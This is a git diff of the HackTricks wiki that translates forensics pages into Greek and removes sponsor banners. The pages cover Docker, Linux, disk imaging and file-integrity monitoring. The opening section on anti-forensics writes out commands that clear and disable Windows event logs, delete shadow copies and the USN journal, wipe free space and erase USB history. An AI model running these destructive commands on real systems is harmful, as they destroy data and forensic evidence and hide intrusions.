δηλώσετε ότι θέλουμε να απενεργοποιηθεί το UserAssist. +2. Καθαρίστε τους υποκαταλόγους του μητρώου σας που μοιάζουν με `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -### Disable Timestamps - Prefetch +### Απενεργοποίηση Χρονικών Σημάτων - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +Αυτό θα αποθηκεύσει πληροφορίες σχετικά με τις εφαρμογές που εκτελούνται με στόχο τη βελτίωση της απόδοσης του συστήματος Windows. Ωστόσο, αυτό μπορεί επίσης να είναι χρήσιμο για δικαστικές πρακτικές. -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- Εκτελέστε `regedit` +- Επιλέξτε τη διαδρομή αρχείου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- Κάντε δεξί κλικ και στα δύο `EnablePrefetcher` και `EnableSuperfetch` +- Επιλέξτε Τροποποίηση σε καθένα από αυτά για να αλλάξετε την τιμή από 1 (ή 3) σε 0 +- Επανεκκινήστε -### Disable Timestamps - Last Access Time +### Απενεργοποίηση Χρονικών Σημάτων - Χρόνος Τελευταίας Πρόσβασης -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Όποτε ανοίγεται ένας φάκελος από έναν όγκο NTFS σε έναν διακομιστή Windows NT, το σύστημα παίρνει το χρόνο για να **ενημερώσει ένα πεδίο χρονικού σήματος σε κάθε καταχωρημένο φάκελο**, που ονομάζεται χρόνος τελευταίας πρόσβασης. Σε έναν πολύ χρησιμοποιούμενο όγκο NTFS, αυτό μπορεί να επηρεάσει την απόδοση. -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. Ανοίξτε τον Επεξεργαστή Μητρώου (Regedit.exe). +2. Περιηγηθείτε στο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. +3. Αναζητήστε το `NtfsDisableLastAccessUpdate`. Αν δεν υπάρχει, προσθέστε αυτό το DWORD και ρυθμίστε την τιμή του σε 1, που θα απενεργοποιήσει τη διαδικασία. +4. Κλείστε τον Επεξεργαστή Μητρώου και επανεκκινήστε τον διακομιστή. -### Delete USB History +### Διαγραφή Ιστορικού USB -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +Όλες οι **Εγγραφές Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR** που περιέχει υποκλειδιά που δημιουργούνται όποτε συνδέετε μια συσκευή USB στον υπολογιστή ή το φορητό σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό** θα διαγράψετε το ιστορικό USB.\ +Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) για να βεβαιωθείτε ότι έχετε διαγράψει αυτά (και για να τα διαγράψετε). -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό θα πρέπει επίσης να διαγραφεί. -### Disable Shadow Copies +### Απενεργοποίηση Αντίγραφα Σκιάς -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**Λίστα** αντίγραφων σκιάς με `vssadmin list shadowstorage`\ +**Διαγράψτε** τα εκτελώντας `vssadmin delete shadow` -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Μπορείτε επίσης να τα διαγράψετε μέσω GUI ακολουθώντας τα βήματα που προτείνονται στο [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Ανοίξτε το πρόγραμμα Υπηρεσίες πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά την κλικ στο κουμπί εκκίνησης των Windows. +2. Από τη λίστα, βρείτε "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ. +3. Επιλέξτε Απενεργοποιημένο από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και OK. -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +Είναι επίσης δυνατόν να τροποποιήσετε τη ρύθμιση των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` -### Overwrite deleted files +### Επικαλύψτε διαγραμμένα αρχεία -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο Windows**: `cipher /w:C` Αυτό θα υποδείξει στον cipher να αφαιρέσει οποιαδήποτε δεδομένα από τον διαθέσιμο μη χρησιμοποιούμενο χώρο δίσκου μέσα στον δίσκο C. +- Μπορείτε επίσης να χρησιμοποιήσετε εργαλεία όπως το [**Eraser**](https://eraser.heidi.ie) -### Delete Windows event logs +### Διαγραφή καταγραφών γεγονότων Windows -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> Επεκτείνετε "Windows Logs" --> Κάντε δεξί κλικ σε κάθε κατηγορία και επιλέξτε "Clear Log" - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -### Disable Windows event logs +### Απενεργοποίηση καταγραφών γεγονότων Windows - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- Μέσα στην ενότητα υπηρεσιών απενεργοποιήστε την υπηρεσία "Windows Event Log" +- `WEvtUtil.exec clear-log` ή `WEvtUtil.exe cl` -### Disable $UsnJrnl +### Απενεργοποίηση $UsnJrnl - `fsutil usn deletejournal /d c:` diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md index 629251985..6a4bcbf7a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} ## Container modification -There are suspicions that some docker container was compromised: - +Υπάρχουν υποψίες ότι κάποιο docker container έχει παραβιαστεί: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έχουν γίνει σε αυτό το κοντέινερ σε σχέση με την εικόνα** με: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +Στην προηγούμενη εντολή, το **C** σημαίνει **Αλλαγμένο** και το **A** σημαίνει **Προστεθέν**.\ +Αν διαπιστώσετε ότι κάποιο ενδιαφέρον αρχείο όπως το `/etc/shadow` έχει τροποποιηθεί, μπορείτε να το κατεβάσετε από το κοντέινερ για να ελέγξετε για κακόβουλη δραστηριότητα με: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +Μπορείτε επίσης να **το συγκρίνετε με το πρωτότυπο** εκτελώντας ένα νέο κοντέινερ και εξάγοντας το αρχείο από αυτό: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Αν διαπιστώσετε ότι **κάποιο ύποπτο αρχείο προστέθηκε** μπορείτε να αποκτήσετε πρόσβαση στο κοντέινερ και να το ελέγξετε: ```bash docker exec -it wordpress bash ``` +## Τροποποιήσεις εικόνων -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Όταν σας δοθεί μια εξαγόμενη εικόνα docker (πιθανώς σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για να **εξαγάγετε μια περίληψη των τροποποιήσεων**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Στη συνέχεια, μπορείτε να **αποσυμπιέσετε** την εικόνα και να **πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που μπορεί να έχετε βρει στην ιστορία αλλαγών: ```bash tar -xf image.tar ``` +### Βασική Ανάλυση -### Basic Analysis - -You can get **basic information** from the image running: - +Μπορείτε να αποκτήσετε **βασικές πληροφορίες** από την εικόνα εκτελώντας: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +Μπορείτε επίσης να αποκτήσετε μια περίληψη **ιστορίας αλλαγών** με: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από μια εικόνα** με: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Για να βρείτε προστιθέμενα/τροποποιημένα αρχεία σε εικόνες docker, μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) εργαλείο: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,18 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Αυτό σας επιτρέπει να **περιηγηθείτε μέσα από τα διάφορα blobs των εικόνων docker** και να ελέγξετε ποια αρχεία έχουν τροποποιηθεί/προστεθεί. **Κόκκινο** σημαίνει προσθήκη και **κίτρινο** σημαίνει τροποποίηση. Χρησιμοποιήστε **tab** για να μετακινηθείτε στην άλλη προβολή και **space** για να συμπτύξετε/ανοίξετε φακέλους. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Με το die δεν θα μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο των διαφόρων σταδίων της εικόνας. Για να το κάνετε αυτό, θα χρειαστεί να **αποσυμπιέσετε κάθε στρώμα και να αποκτήσετε πρόσβαση σε αυτό**.\ +Μπορείτε να αποσυμπιέσετε όλα τα στρώματα από μια εικόνα από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Διαπιστευτήρια από τη μνήμη -## Credentials from memory +Σημειώστε ότι όταν εκτελείτε ένα docker container μέσα σε έναν host **μπορείτε να δείτε τις διεργασίες που εκτελούνται στο container από τον host** απλά εκτελώντας `ps -ef` -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} +Επομένως (ως root) μπορείτε να **dump την μνήμη των διεργασιών** από τον host και να αναζητήσετε **διαπιστευτήρια** ακριβώς [**όπως στο παρακάτω παράδειγμα**](../../linux-hardening/privilege-escalation/#process-memory). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..f9bbb8024 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# Βασική Γραμμή -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Μια βασική γραμμή αποτελείται από τη λήψη μιας στιγμιότυπης εικόνας ορισμένων τμημάτων ενός συστήματος για **να τη συγκρίνουμε με μια μελλοντική κατάσταση ώστε να επισημάνουμε τις αλλαγές**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Για παράδειγμα, μπορείτε να υπολογίσετε και να αποθηκεύσετε το hash κάθε αρχείου του συστήματος αρχείων για να μπορέσετε να διαπιστώσετε ποια αρχεία έχουν τροποποιηθεί.\ +Αυτό μπορεί επίσης να γίνει με τους λογαριασμούς χρηστών που έχουν δημιουργηθεί, τις διαδικασίες που εκτελούνται, τις υπηρεσίες που εκτελούνται και οτιδήποτε άλλο δεν θα έπρεπε να αλλάξει πολύ ή καθόλου. -## File Integrity Monitoring +## Παρακολούθηση Ακεραιότητας Αρχείων -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +Η Παρακολούθηση Ακεραιότητας Αρχείων (FIM) είναι μια κρίσιμη τεχνική ασφάλειας που προστατεύει τα IT περιβάλλοντα και τα δεδομένα παρακολουθώντας τις αλλαγές στα αρχεία. Περιλαμβάνει δύο βασικά βήματα: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Σύγκριση Βασικής Γραμμής:** Καθιερώστε μια βασική γραμμή χρησιμοποιώντας χαρακτηριστικά αρχείων ή κρυπτογραφικούς ελέγχους (όπως MD5 ή SHA-2) για μελλοντικές συγκρίσεις ώστε να ανιχνεύσετε τροποποιήσεις. +2. **Ειδοποίηση Αλλαγών σε Πραγματικό Χρόνο:** Λάβετε άμεσες ειδοποιήσεις όταν τα αρχεία προσπελάζονται ή τροποποιούνται, συνήθως μέσω επεκτάσεων πυρήνα OS. -## Tools +## Εργαλεία - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## Αναφορές - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index a95a3bbff..20f33f874 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,40 +1,30 @@ -# Image Acquisition & Mount +# Απόκτηση Εικόνας & Τοποθέτηση {{#include ../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} - -## Acquisition +## Απόκτηση ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd - ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### FTK Imager -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +Μπορείτε να [**κατεβάσετε το FTK imager από εδώ**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +Μπορείτε να δημιουργήσετε μια εικόνα δίσκου χρησιμοποιώντας τα [**ewf tools**](https://github.com/libyal/libewf). ```bash ewfacquire /dev/sdb #Name: evidence @@ -51,15 +41,13 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` - ## Mount ### Several types -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. +Στο **Windows** μπορείτε να δοκιμάσετε να χρησιμοποιήσετε την δωρεάν έκδοση του Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) για να **mount the forensics image**. ### Raw - ```bash #Get file type file evidence.img @@ -68,9 +56,7 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b #Mount it mount evidence.img /mnt ``` - ### EWF - ```bash #Get file type file evidence.E01 @@ -85,16 +71,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be #Mount mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +Είναι μια εφαρμογή Windows για την τοποθέτηση τόμων. Μπορείτε να την κατεβάσετε εδώ [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) -### Errors - -- **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: +### Σφάλματα +- **`cannot mount /dev/loop0 read-only`** σε αυτή την περίπτωση πρέπει να χρησιμοποιήσετε τις σημαίες **`-o ro,norecovery`** +- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** σε αυτή την περίπτωση η τοποθέτηση απέτυχε λόγω του ότι η μετατόπιση του συστήματος αρχείων είναι διαφορετική από αυτή της εικόνας δίσκου. Πρέπει να βρείτε το μέγεθος τομέα και τον αρχικό τομέα: ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -107,15 +91,8 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +Σημειώστε ότι το μέγεθος τομέα είναι **512** και η αρχή είναι **2048**. Στη συνέχεια, τοποθετήστε την εικόνα όπως αυτό: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 568da19c5..774502a28 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## Αρχική Συλλογή Πληροφοριών -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Βασικές Πληροφορίες +Πρώτα απ' όλα, συνιστάται να έχετε κάποιο **USB** με **καλά γνωστά δυαδικά αρχεία και βιβλιοθήκες πάνω του** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά αρχεία: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Αφού έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλές και γνωστές δυαδικές εκδόσεις, μπορείτε να αρχίσετε **να εξάγετε κάποιες βασικές πληροφορίες**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` - #### Suspicious information -While obtaining the basic information you should check for weird things like: +Κατά την απόκτηση βασικών πληροφοριών, θα πρέπει να ελέγξετε για περίεργα πράγματα όπως: -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +- **Διεργασίες root** συνήθως εκτελούνται με χαμηλά PIDS, οπότε αν βρείτε μια διεργασία root με μεγάλο PID, μπορεί να υποψιαστείτε +- Ελέγξτε για **καταγεγραμμένες συνδέσεις** χρηστών χωρίς shell μέσα στο `/etc/passwd` +- Ελέγξτε για **hash κωδικών πρόσβασης** μέσα στο `/etc/shadow` για χρήστες χωρίς shell ### Memory Dump -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Για να αποκτήσετε τη μνήμη του τρέχοντος συστήματος, συνιστάται να χρησιμοποιήσετε [**LiME**](https://github.com/504ensicsLabs/LiME).\ +Για να **συγκεντρώσετε** το, πρέπει να χρησιμοποιήσετε τον **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή του θύματος. > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> Θυμηθείτε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή του θύματος, καθώς θα κάνει πολλές αλλαγές σε αυτήν +Έτσι, αν έχετε μια ταυτόσημη έκδοση του Ubuntu, μπορείτε να χρησιμοποιήσετε `apt-get install lime-forensics-dkms`\ +Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το συγκεντρώσετε με τους σωστούς επικεφαλής πυρήνα. Για να **αποκτήσετε τους ακριβείς επικεφαλής πυρήνα** της μηχανής του θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/` στη μηχανή σας και στη συνέχεια να **συγκεντρώσετε** το LiME χρησιμοποιώντας τους: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME υποστηρίζει 3 **μορφές**: -LiME supports 3 **formats**: +- Raw (κάθε τμήμα συνδυασμένο μαζί) +- Padded (ίδιο με το raw, αλλά με μηδενικά στα δεξιά bits) +- Lime (συνιστώμενη μορφή με μεταδεδομένα) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME μπορεί επίσης να χρησιμοποιηθεί για **να στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### Imaging Δίσκου -### Disk Imaging +#### Κλείσιμο -#### Shutting down +Πρώτα απ' όλα, θα χρειαστεί να **κλείσετε το σύστημα**. Αυτό δεν είναι πάντα επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να αντέξει να κλείσει.\ +Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, ένας **κανονικός τερματισμός** και ένας **τερματισμός "τραβώντας το βύσμα"**. Ο πρώτος θα επιτρέψει στους **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβώντας το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και η **κακόβουλη λογισμική δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλη λογισμική**, απλώς εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα. -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### Λήψη εικόνας του δίσκου +Είναι σημαντικό να σημειωθεί ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **τοποθετηθεί ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Προ-ανάλυση εικόνας δίσκου -### Disk Image 